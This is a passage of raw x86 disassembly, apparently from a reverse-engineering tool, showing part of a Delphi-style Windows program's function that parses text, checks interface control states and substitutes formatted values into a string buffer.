mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 2
mov ecx, dword [ebp - 0x28]
mov dl, 0x25
mov eax, dword [ebp - 0x18]
call fcn.00554a98
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
and eax, 0xff0000
shr eax, 0x10
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 3
mov ecx, dword [ebp - 0x28]
mov dl, 0x25
mov eax, dword [ebp - 0x18]
call fcn.00554a98
jmp 0x54dc6b
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
and eax, 0xff
call fcn.0040b57c
jmp 0x54dc6b
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
and eax, 0xff00
shr eax, 8
call fcn.0040b57c
jmp 0x54dc6b
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
and eax, 0xff0000
shr eax, 0x10
call fcn.0040b57c
jmp 0x54dc6b
mov byte [ebp - 0x119], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54dc86
cmp byte [ebp - 0x119], 0
je 0x54dd1c
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x54dd00
lea ecx, [ebp - 0xe80]
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe80]
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.0040502c
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553ab4
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.00404fd8
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp 0x54dd1c
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x54dd3f
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54dda9
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54dda6
mov bl, 1
jmp 0x54ddf1
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54ddf1
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54dd95
test bl, bl
je 0x54def5
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xe84]
push eax
lea eax, [ebp - 0xe88]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe88]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xe84]
lea eax, [ebp - 0x144]
call fcn.00405070
mov eax, dword [ebp - 0xc0]
sub eax, 0xbb
je 0x54de86
dec eax
je 0x54de96
dec eax
je 0x54dea6
jmp 0x54deb4
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x144]
call fcn.0040b1c8
jmp 0x54deb4
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x144]
call fcn.0040b1fc
jmp 0x54deb4
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x144]
call fcn.0040b178
cmp byte [ebp - 0x195], 0
je 0x54ded7
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x1204]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54df40
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp 0x54df4d
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x11fc]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54df93
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp 0x54dfa0
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x12fc]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54dfe6
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp 0x54dff3
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54e03a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54e037
mov bl, 1
jmp 0x54e082
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54e082
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54e026
test bl, bl
je 0x54e680
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x158]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x15c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bf5], 0
je 0x54e1d4
lea eax, [ebp - 0x160]
mov edx, dword [ebp - 0x144]
call fcn.00405070
mov edx, dword [ebp - 0x160]
mov eax, 0x5537e4
call fcn.004055dc
mov ecx, eax
lea eax, [ebp - 0x160]
mov edx, 1
call fcn.00405538
mov edx, dword [ebp - 0x160]
mov eax, 0x553b9c
call fcn.004055dc
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x164]
push eax
mov eax, dword [ebp - 0x160]
call fcn.00405298
mov ecx, eax
sub ecx, 5
sub ecx, dword [ebp - 0x64]
sub ecx, 2
mov edx, dword [ebp - 0x64]
add edx, 5
mov eax, dword [ebp - 0x160]
call fcn.004054f8
lea eax, [ebp - 0x160]
push eax
mov ecx, dword [ebp - 0x64]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x160]
call fcn.004054f8
lea eax, [ebp - 0xe8c]
push eax
lea eax, [ebp - 0xe90]
mov ecx, dword [ebp - 0x160]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe90]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xe8c]
lea eax, [ebp - 0x160]
call fcn.00405070
jmp 0x54e1ee
lea eax, [ebp - 0x160]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
cmp dword [ebp - 0x160], 0
je 0x54e2e4
mov eax, dword [ebp - 0x160]
mov al, byte [eax]
sub al, 0x24
je 0x54e210
dec al
je 0x54e254
jmp 0x54e313
lea eax, [ebp - 0xe94]
push eax
lea eax, [ebp - 0xe98]
mov ecx, dword [ebp - 0x160]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe98]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xe94]
lea eax, [ebp - 0x160]
call fcn.00405070
jmp 0x54e313
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bc0]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x64]
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d1bc
test al, al
je 0x54e2d3
lea eax, [ebp - 0x160]
mov edx, dword [ebp - 0x148]
call fcn.00405070
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x64]
inc ecx
lea eax, [ebp - 0x144]
mov edx, dword [ebp - 0x64]
call fcn.00405538
lea edx, [ebp - 0x144]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x150]
call fcn.00405580
jmp 0x54e313
xor ebx, ebx
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp 0x54e313
xor ebx, ebx
lea eax, [ebp - 0x1c]
mov edx, 0x553974
call fcn.00405070
lea eax, [ebp - 0x160]
mov edx, 0x553874
call fcn.00405070
lea eax, [ebp - 0x164]
mov edx, 0x553874
call fcn.00405070
test bl, bl
je 0x54e662
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bf5], 0
jne 0x54e341
lea eax, [ebp - 0x164]
push eax
mov ecx, 0xfffffffd
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x164]
call fcn.00405298
mov dword [ebp - 0x28], eax
jmp 0x54e35b
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jge 0x54e378
mov eax, dword [ebp - 0x164]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
sub al, 9
je 0x54e358
sub al, 0x17
je 0x54e358
lea eax, [ebp - 0x164]
push eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x14]
inc ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x164]
call fcn.004054f8
xor eax, eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x164], 0
je 0x54e446
mov eax, dword [ebp - 0x164]
mov al, byte [eax]
sub al, 0x24
je 0x54e3bb
dec al
je 0x54e3fc
jmp 0x54e473
lea eax, [ebp - 0xe9c]
push eax
lea eax, [ebp - 0xea0]
mov ecx, dword [ebp - 0x164]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xea0]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xe9c]
lea eax, [ebp - 0x164]
call fcn.00405070
jmp 0x54e473
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x64]
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x18]
call fcn.0053d1bc
test al, al
je 0x54e473
lea eax, [ebp - 0x164]
mov edx, dword [ebp - 0x148]
call fcn.00405070
jmp 0x54e473
lea eax, [ebp - 0x160]
mov edx, 0x553874
call fcn.00405070
lea eax, [ebp - 0x164]
mov edx, 0x553874
call fcn.00405070
lea eax, [ebp - 0x1c]
mov edx, 0x5539a4
call fcn.00405070
mov dl, 1
mov eax, dword [0x4e3900]
call fcn.004e3b60
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x68], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x68]
mov dword [ebp - 0x2b8], eax
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x2b8]
call fcn.004e3d34
mov edx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x2b8]
call fcn.004e3d5c
mov eax, dword [ebp - 0x2b8]
call fcn.004e3c7c
test al, al
je 0x54e4f8
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
mov eax, dword [ebp - 0x2b8]
call fcn.004e3c08
lea edx, [ebp - 0x160]
call fcn.0040b57c
lea edx, [ebp - 0x164]
mov eax, dword [ebp - 0x2b8]
call fcn.004e3bf4
jmp 0x54e525
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
lea eax, [ebp - 0x160]
mov edx, 0x553874
call fcn.00405070
lea eax, [ebp - 0x164]
mov edx, 0x553874
call fcn.00405070
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x68]
call fcn.004041c4
mov eax, dword [ebp - 0x18]
add eax, 0x105bf8
mov edx, dword [ebp - 0x160]
call fcn.0040502c
mov eax, dword [ebp - 0x18]
add eax, 0x105bfc
mov edx, dword [ebp - 0x164]
call fcn.0040502c
mov eax, dword [ebp - 0x18]
add eax, 0x105be0
call fcn.00404fd8
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov eax, dword [ebp - 0x158]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x158]
mov ecx, 1
mov edx, 1
call fcn.00405538
push 0
push 0
mov ecx, dword [ebp - 0x158]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x160]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x28]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov eax, dword [ebp - 0x18]
add eax, 0x105be0
call fcn.00404fd8
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov eax, dword [ebp - 0x15c]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x15c]
mov ecx, 1
mov edx, 1
call fcn.00405538
push 0
push 0
mov ecx, dword [ebp - 0x15c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x164]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x28]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc0]
mov dword [eax + 0x104554], edx
mov eax, dword [ebp - 0x18]
push eax
push 0x5356a8
mov eax, dword [ebp - 0x18]
call fcn.00425d90
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, 0x10455c
call fcn.0040523c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0xea4]
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x9c4]
call fcn.004631f4
mov eax, dword [ebp - 0xea4]
call fcn.0040b6e8
lea edx, [ebp - 0x1c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x9b4]
call fcn.004631f4
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x553b50
call fcn.004055dc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x9b4]
call fcn.004631f4
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x553b50
call fcn.004055dc
mov edx, eax
add edx, 2
mov ecx, 0x10
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x9b8]
call fcn.004631f4
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x553b50
call fcn.004055dc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x9b8]
call fcn.004631f4
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x553b50
call fcn.004055dc
mov edx, eax
add edx, 2
mov ecx, 0x10
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [0x59049c]
mov edx, dword [edx]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [0x5902a8]
mov edx, dword [edx]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590504]
mov eax, dword [eax]
call fcn.00469a3c
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc0]
mov dword [eax + 0x104554], edx
mov eax, dword [ebp - 0x18]
push eax
push 0x5356a8
mov eax, dword [ebp - 0x18]
call fcn.00425d90
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104558]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0xc0]
sub eax, 0xe6
je 0x54e988
dec eax
je 0x54e99b
dec eax
je 0x54e9ae
dec eax
je 0x54e9c1
jmp 0x54e9d2
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104674]
call fcn.0040b57c
jmp 0x54e9d2
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104678]
call fcn.0040b57c
jmp 0x54e9d2
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
call fcn.0040b57c
jmp 0x54e9d2
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0xc0]
sub eax, 0xea
je 0x54ea18
sub eax, 2
je 0x54ea2b
dec eax
jne 0x54ea3c
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104888]
call fcn.0040b57c
jmp 0x54ea3c
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104884]
call fcn.0040b57c
jmp 0x54ea3c
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, 0x104784
call fcn.0040523c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0xc0]
sub eax, 0xef
je 0x54ea6c
dec eax
je 0x54ea7f
jmp 0x54ea90
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10488c]
call fcn.0040b57c
jmp 0x54ea90
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104890]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0xc0]
sub eax, 0xf1
je 0x54eac6
dec eax
je 0x54eafc
dec eax
je 0x54eb30
jmp 0x54eba2
mov eax, dword [0x59016c]
cmp dword [eax], 0
je 0x54eaed
mov eax, dword [0x59016c]
mov eax, dword [eax]
call fcn.00469a3c
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp 0x54eba2
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0040b57c
jmp 0x54eba2
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x12c8]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54eb24
lea edx, [ebp - 0x1c]
mov eax, 1
call fcn.0040b57c
jmp 0x54eba2
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0040b57c
jmp 0x54eba2
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x12d0]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54eb52
mov dword [ebp - 0x14], 2
jmp 0x54eb7b
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x12d4]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54eb74
mov dword [ebp - 0x14], 4
jmp 0x54eb7b
mov dword [ebp - 0x14], 8
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x12d8]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x54eb97
inc dword [ebp - 0x14]
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54ebe9
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54ebe6
mov bl, 1
jmp 0x54ec31
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54ec31
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54ebd5
test bl, bl
je 0x54eeb3
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x105bdb], 1
lea eax, [ebp - 0xea8]
push eax
lea eax, [ebp - 0xeac]
mov ecx, dword [ebp - 0x144]
